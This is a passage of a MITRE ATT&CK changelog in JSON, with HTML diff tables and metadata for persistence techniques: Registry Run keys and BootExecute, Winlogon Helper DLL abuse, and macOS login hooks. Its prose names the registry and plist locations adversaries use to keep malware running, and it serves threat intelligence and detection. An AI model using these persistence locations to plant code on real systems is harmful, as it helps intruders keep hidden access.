nowrap=\"nowrap\">o&nbsp;specify&nbsp;startup&nbsp;programs&nbsp;creates&nbsp;corresponding&nbsp;values&nbsp;in&nbsp;e</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;specify&nbsp;startup&nbsp;programs&nbsp;creates&nbsp;corresponding&nbsp;values&nbsp;in&nbsp;ei</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ither&nbsp;of&nbsp;two&nbsp;Registry&nbsp;keys:&nbsp;&nbsp;*&nbsp;&lt;code&gt;HKEY_LOCAL_MACHINE\\Soft</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ther&nbsp;of&nbsp;two&nbsp;Registry&nbsp;keys:&nbsp;&nbsp;*&nbsp;&lt;code&gt;HKEY_LOCAL_MACHINE\\Softw</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ware\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run&lt;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">are\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run&lt;/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/code&gt;&nbsp;*&nbsp;&lt;code&gt;HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code&gt;&nbsp;*&nbsp;&lt;code&gt;HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\C</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">CurrentVersion\\Policies\\Explorer\\Run&lt;/code&gt;&nbsp;&nbsp;Programs&nbsp;listed</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">urrentVersion\\Policies\\Explorer\\Run&lt;/code&gt;&nbsp;&nbsp;Programs&nbsp;listed&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;in&nbsp;the&nbsp;load&nbsp;value&nbsp;of&nbsp;the&nbsp;registry&nbsp;key&nbsp;&lt;code&gt;HKEY_CURRENT_US</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;the&nbsp;load&nbsp;value&nbsp;of&nbsp;the&nbsp;registry&nbsp;key&nbsp;&lt;code&gt;HKEY_CURRENT_USE</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ER\\Software\\Microsoft\\Windows&nbsp;NT\\CurrentVersion\\Windows&lt;/cod</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">R\\Software\\Microsoft\\Windows&nbsp;NT\\CurrentVersion\\Windows&lt;/code</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;&nbsp;run&nbsp;automatically&nbsp;for&nbsp;the&nbsp;currently&nbsp;logged-on&nbsp;user.&nbsp;&nbsp;By&nbsp;d</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;&nbsp;run&nbsp;automatically&nbsp;for&nbsp;the&nbsp;currently&nbsp;logged-on&nbsp;user.&nbsp;&nbsp;By&nbsp;de</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">efault,&nbsp;the&nbsp;multistring&nbsp;&lt;code&gt;BootExecute&lt;/code&gt;&nbsp;value&nbsp;of&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">fault,&nbsp;the&nbsp;multistring&nbsp;&lt;code&gt;BootExecute&lt;/code&gt;&nbsp;value&nbsp;of&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;registry&nbsp;key&nbsp;&lt;code&gt;HKEY_LOCAL_MACHINE\\System\\CurrentContro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;registry&nbsp;key&nbsp;&lt;code&gt;HKEY_LOCAL_MACHINE\\System\\CurrentControl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lSet\\Control\\Session&nbsp;Manager&lt;/code&gt;&nbsp;is&nbsp;set&nbsp;to&nbsp;&lt;code&gt;autochec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Set\\Control\\Session&nbsp;Manager&lt;/code&gt;&nbsp;is&nbsp;set&nbsp;to&nbsp;&lt;code&gt;autocheck</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k&nbsp;autochk&nbsp;*&lt;/code&gt;.&nbsp;This&nbsp;value&nbsp;causes&nbsp;Windows,&nbsp;at&nbsp;startup,&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;autochk&nbsp;*&lt;/code&gt;.&nbsp;This&nbsp;value&nbsp;causes&nbsp;Windows,&nbsp;at&nbsp;startup,&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;check&nbsp;the&nbsp;file-system&nbsp;integrity&nbsp;of&nbsp;the&nbsp;hard&nbsp;disks&nbsp;if&nbsp;the&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;check&nbsp;the&nbsp;file-system&nbsp;integrity&nbsp;of&nbsp;the&nbsp;hard&nbsp;disks&nbsp;if&nbsp;the&nbsp;sy</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ystem&nbsp;has&nbsp;been&nbsp;shut&nbsp;down&nbsp;abnormally.&nbsp;Adversaries&nbsp;can&nbsp;add&nbsp;oth</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stem&nbsp;has&nbsp;been&nbsp;shut&nbsp;down&nbsp;abnormally.&nbsp;Adversaries&nbsp;can&nbsp;add&nbsp;othe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er&nbsp;programs&nbsp;or&nbsp;processes&nbsp;to&nbsp;this&nbsp;registry&nbsp;value&nbsp;which&nbsp;will&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;programs&nbsp;or&nbsp;processes&nbsp;to&nbsp;this&nbsp;registry&nbsp;value&nbsp;which&nbsp;will&nbsp;au</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">utomatically&nbsp;launch&nbsp;at&nbsp;boot.&nbsp;&nbsp;Adversaries&nbsp;can&nbsp;use&nbsp;these&nbsp;conf</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tomatically&nbsp;launch&nbsp;at&nbsp;boot.&nbsp;&nbsp;Adversaries&nbsp;can&nbsp;use&nbsp;these&nbsp;confi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iguration&nbsp;locations&nbsp;to&nbsp;execute&nbsp;malware,&nbsp;such&nbsp;as&nbsp;remote&nbsp;acces</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">guration&nbsp;locations&nbsp;to&nbsp;execute&nbsp;malware,&nbsp;such&nbsp;as&nbsp;remote&nbsp;access</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;tools,&nbsp;to&nbsp;maintain&nbsp;persistence&nbsp;through&nbsp;system&nbsp;reboots.&nbsp;Adv</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;tools,&nbsp;to&nbsp;maintain&nbsp;persistence&nbsp;through&nbsp;system&nbsp;reboots.&nbsp;Adve</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ersaries&nbsp;may&nbsp;also&nbsp;use&nbsp;[Masquerading](https://attack.mitre.or</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rsaries&nbsp;may&nbsp;also&nbsp;use&nbsp;[Masquerading](https://attack.mitre.org</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g/techniques/T1036)&nbsp;to&nbsp;make&nbsp;the&nbsp;Registry&nbsp;entries&nbsp;look&nbsp;as&nbsp;if&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/techniques/T1036)&nbsp;to&nbsp;make&nbsp;the&nbsp;Registry&nbsp;entries&nbsp;look&nbsp;as&nbsp;if&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">they&nbsp;are&nbsp;associated&nbsp;with&nbsp;legitimate&nbsp;programs.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hey&nbsp;are&nbsp;associated&nbsp;with&nbsp;legitimate&nbsp;programs.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0365: Detect Registry and Startup Folder Persistence (Windows)"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-24 16:59:59.688000+00:00",
                    "modified": "2026-11-04 00:54:14.046000+00:00",
                    "name": "Winlogon Helper DLL",
                    "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse:(Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1547/004",
                            "external_id": "T1547.004"
                        },
                        {
                            "source_name": "Cylance Reg Persistence Sept 2013",
                            "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved November 17, 2024.",
                            "url": "https://web.archive.org/web/20160214140250/http://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Praetorian"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "1.3",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:54:14.046000+00:00\", \"old_value\": \"2025-10-24 17:48:53.539000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\\\Software[\\\\\\\\Wow6432Node\\\\\\\\]\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\</code> and <code>HKCU\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\</code> are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \\n\\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse:(Citation: Cylance Reg Persistence Sept 2013)\\n\\n* Winlogon\\\\Notify - points to notification package DLLs that handle Winlogon events\\n* Winlogon\\\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\\n* Winlogon\\\\Shell - points to explorer.exe, the system shell executed when a user logs on\\n\\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.\", \"old_value\": \"Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\\\Software[\\\\\\\\Wow6432Node\\\\\\\\]\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\</code> and <code>HKCU\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\</code> are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \\n\\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\\n\\n* Winlogon\\\\Notify - points to notification package DLLs that handle Winlogon events\\n* Winlogon\\\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\\n* Winlogon\\\\Shell - points to explorer.exe, the system shell executed when a user logs on\\n\\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\\\Software[\\\\\\\\Wow6432Node\\\\\\\\]\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\</code> and <code>HKCU\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\</code> are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \\n \\n-Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\\n+Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse:(Citation: Cylance Reg Persistence Sept 2013)\\n \\n * Winlogon\\\\Notify - points to notification package DLLs that handle Winlogon events\\n * Winlogon\\\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][2]\": {\"source_name\": \"TechNet Autoruns\", \"description\": \"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.\", \"url\": \"https://technet.microsoft.com/en-us/sysinternals/bb963902\"}}}",
                    "previous_version": "1.3",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to91__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to91__0\"><a href=\"#difflib_chg_to91__top\">t</a></td><td class=\"diff_header\" id=\"from91_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;features&nbsp;of&nbsp;Winlogon&nbsp;to&nbsp;execute&nbsp;DLLs&nbsp;a</td><td class=\"diff_next\"><a href=\"#difflib_chg_to91__top\">t</a></td><td class=\"diff_header\" id=\"to91_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;features&nbsp;of&nbsp;Winlogon&nbsp;to&nbsp;execute&nbsp;DLLs&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd/or&nbsp;executables&nbsp;when&nbsp;a&nbsp;user&nbsp;logs&nbsp;in.&nbsp;Winlogon.exe&nbsp;is&nbsp;a&nbsp;Win</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd/or&nbsp;executables&nbsp;when&nbsp;a&nbsp;user&nbsp;logs&nbsp;in.&nbsp;Winlogon.exe&nbsp;is&nbsp;a&nbsp;Win</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dows&nbsp;component&nbsp;responsible&nbsp;for&nbsp;actions&nbsp;at&nbsp;logon/logoff&nbsp;as&nbsp;we</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dows&nbsp;component&nbsp;responsible&nbsp;for&nbsp;actions&nbsp;at&nbsp;logon/logoff&nbsp;as&nbsp;we</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ll&nbsp;as&nbsp;the&nbsp;secure&nbsp;attention&nbsp;sequence&nbsp;(SAS)&nbsp;triggered&nbsp;by&nbsp;Ctrl-</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ll&nbsp;as&nbsp;the&nbsp;secure&nbsp;attention&nbsp;sequence&nbsp;(SAS)&nbsp;triggered&nbsp;by&nbsp;Ctrl-</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Alt-Delete.&nbsp;Registry&nbsp;entries&nbsp;in&nbsp;&lt;code&gt;HKLM\\Software[\\\\Wow643</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Alt-Delete.&nbsp;Registry&nbsp;entries&nbsp;in&nbsp;&lt;code&gt;HKLM\\Software[\\\\Wow643</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">2Node\\\\]\\Microsoft\\Windows&nbsp;NT\\CurrentVersion\\Winlogon\\&lt;/code</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">2Node\\\\]\\Microsoft\\Windows&nbsp;NT\\CurrentVersion\\Winlogon\\&lt;/code</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;&nbsp;and&nbsp;&lt;code&gt;HKCU\\Software\\Microsoft\\Windows&nbsp;NT\\CurrentVersio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;&nbsp;and&nbsp;&lt;code&gt;HKCU\\Software\\Microsoft\\Windows&nbsp;NT\\CurrentVersio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n\\Winlogon\\&lt;/code&gt;&nbsp;are&nbsp;used&nbsp;to&nbsp;manage&nbsp;additional&nbsp;helper&nbsp;prog</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n\\Winlogon\\&lt;/code&gt;&nbsp;are&nbsp;used&nbsp;to&nbsp;manage&nbsp;additional&nbsp;helper&nbsp;prog</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rams&nbsp;and&nbsp;functionalities&nbsp;that&nbsp;support&nbsp;Winlogon.(Citation:&nbsp;Cy</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rams&nbsp;and&nbsp;functionalities&nbsp;that&nbsp;support&nbsp;Winlogon.(Citation:&nbsp;Cy</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lance&nbsp;Reg&nbsp;Persistence&nbsp;Sept&nbsp;2013)&nbsp;&nbsp;&nbsp;Malicious&nbsp;modifications&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lance&nbsp;Reg&nbsp;Persistence&nbsp;Sept&nbsp;2013)&nbsp;&nbsp;&nbsp;Malicious&nbsp;modifications&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;these&nbsp;Registry&nbsp;keys&nbsp;may&nbsp;cause&nbsp;Winlogon&nbsp;to&nbsp;load&nbsp;and&nbsp;execute</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;these&nbsp;Registry&nbsp;keys&nbsp;may&nbsp;cause&nbsp;Winlogon&nbsp;to&nbsp;load&nbsp;and&nbsp;execute</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;malicious&nbsp;DLLs&nbsp;and/or&nbsp;executables.&nbsp;Specifically,&nbsp;the&nbsp;follow</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;malicious&nbsp;DLLs&nbsp;and/or&nbsp;executables.&nbsp;Specifically,&nbsp;the&nbsp;follow</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;subkeys&nbsp;have&nbsp;been&nbsp;known&nbsp;to&nbsp;be&nbsp;possibly&nbsp;vulnerable&nbsp;to&nbsp;abu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;subkeys&nbsp;have&nbsp;been&nbsp;known&nbsp;to&nbsp;be&nbsp;possibly&nbsp;vulnerable&nbsp;to&nbsp;abu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">se:<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Cylance&nbsp;Reg&nbsp;Persistence&nbsp;Sept&nbsp;2013)&nbsp;&nbsp;*&nbsp;Winlogo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">se:(Citation:&nbsp;Cylance&nbsp;Reg&nbsp;Persistence&nbsp;Sept&nbsp;2013)&nbsp;&nbsp;*&nbsp;Winlogon</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n\\Notify&nbsp;-&nbsp;points&nbsp;to&nbsp;notification&nbsp;package&nbsp;DLLs&nbsp;that&nbsp;handle&nbsp;W</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">\\Notify&nbsp;-&nbsp;points&nbsp;to&nbsp;notification&nbsp;package&nbsp;DLLs&nbsp;that&nbsp;handle&nbsp;Wi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">inlogon&nbsp;events&nbsp;*&nbsp;Winlogon\\Userinit&nbsp;-&nbsp;points&nbsp;to&nbsp;userinit.exe,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nlogon&nbsp;events&nbsp;*&nbsp;Winlogon\\Userinit&nbsp;-&nbsp;points&nbsp;to&nbsp;userinit.exe,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;user&nbsp;initialization&nbsp;program&nbsp;executed&nbsp;when&nbsp;a&nbsp;user&nbsp;logs&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;user&nbsp;initialization&nbsp;program&nbsp;executed&nbsp;when&nbsp;a&nbsp;user&nbsp;logs&nbsp;on</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;*&nbsp;Winlogon\\Shell&nbsp;-&nbsp;points&nbsp;to&nbsp;explorer.exe,&nbsp;the&nbsp;system&nbsp;shel</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;*&nbsp;Winlogon\\Shell&nbsp;-&nbsp;points&nbsp;to&nbsp;explorer.exe,&nbsp;the&nbsp;system&nbsp;shell</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;executed&nbsp;when&nbsp;a&nbsp;user&nbsp;logs&nbsp;on&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;take&nbsp;advanta</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;executed&nbsp;when&nbsp;a&nbsp;user&nbsp;logs&nbsp;on&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;take&nbsp;advantag</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ge&nbsp;of&nbsp;these&nbsp;features&nbsp;to&nbsp;repeatedly&nbsp;execute&nbsp;malicious&nbsp;code&nbsp;an</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;of&nbsp;these&nbsp;features&nbsp;to&nbsp;repeatedly&nbsp;execute&nbsp;malicious&nbsp;code&nbsp;and</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;establish&nbsp;persistence.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;establish&nbsp;persistence.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1018: User Account Management",
                            "M1038: Execution Prevention"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0404: Detect Winlogon Helper DLL Abuse via Registry and Process Artifacts on Windows"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-10 16:01:15.995000+00:00",
                    "modified": "2026-11-03 20:11:04.751000+00:00",
                    "name": "Login Hook",
                    "description": "Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file and can be modified using the <code>defaults</code> command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code> or <code>LogoutHook</code> key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001).",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1037/002",
                            "external_id": "T1037.002"
                        },
                        {
                            "source_name": "Login Scripts Apple Dev",
                            "description": "Apple. (2016, September 13). Customizing Login and Logout. Retrieved April 1, 2022.",
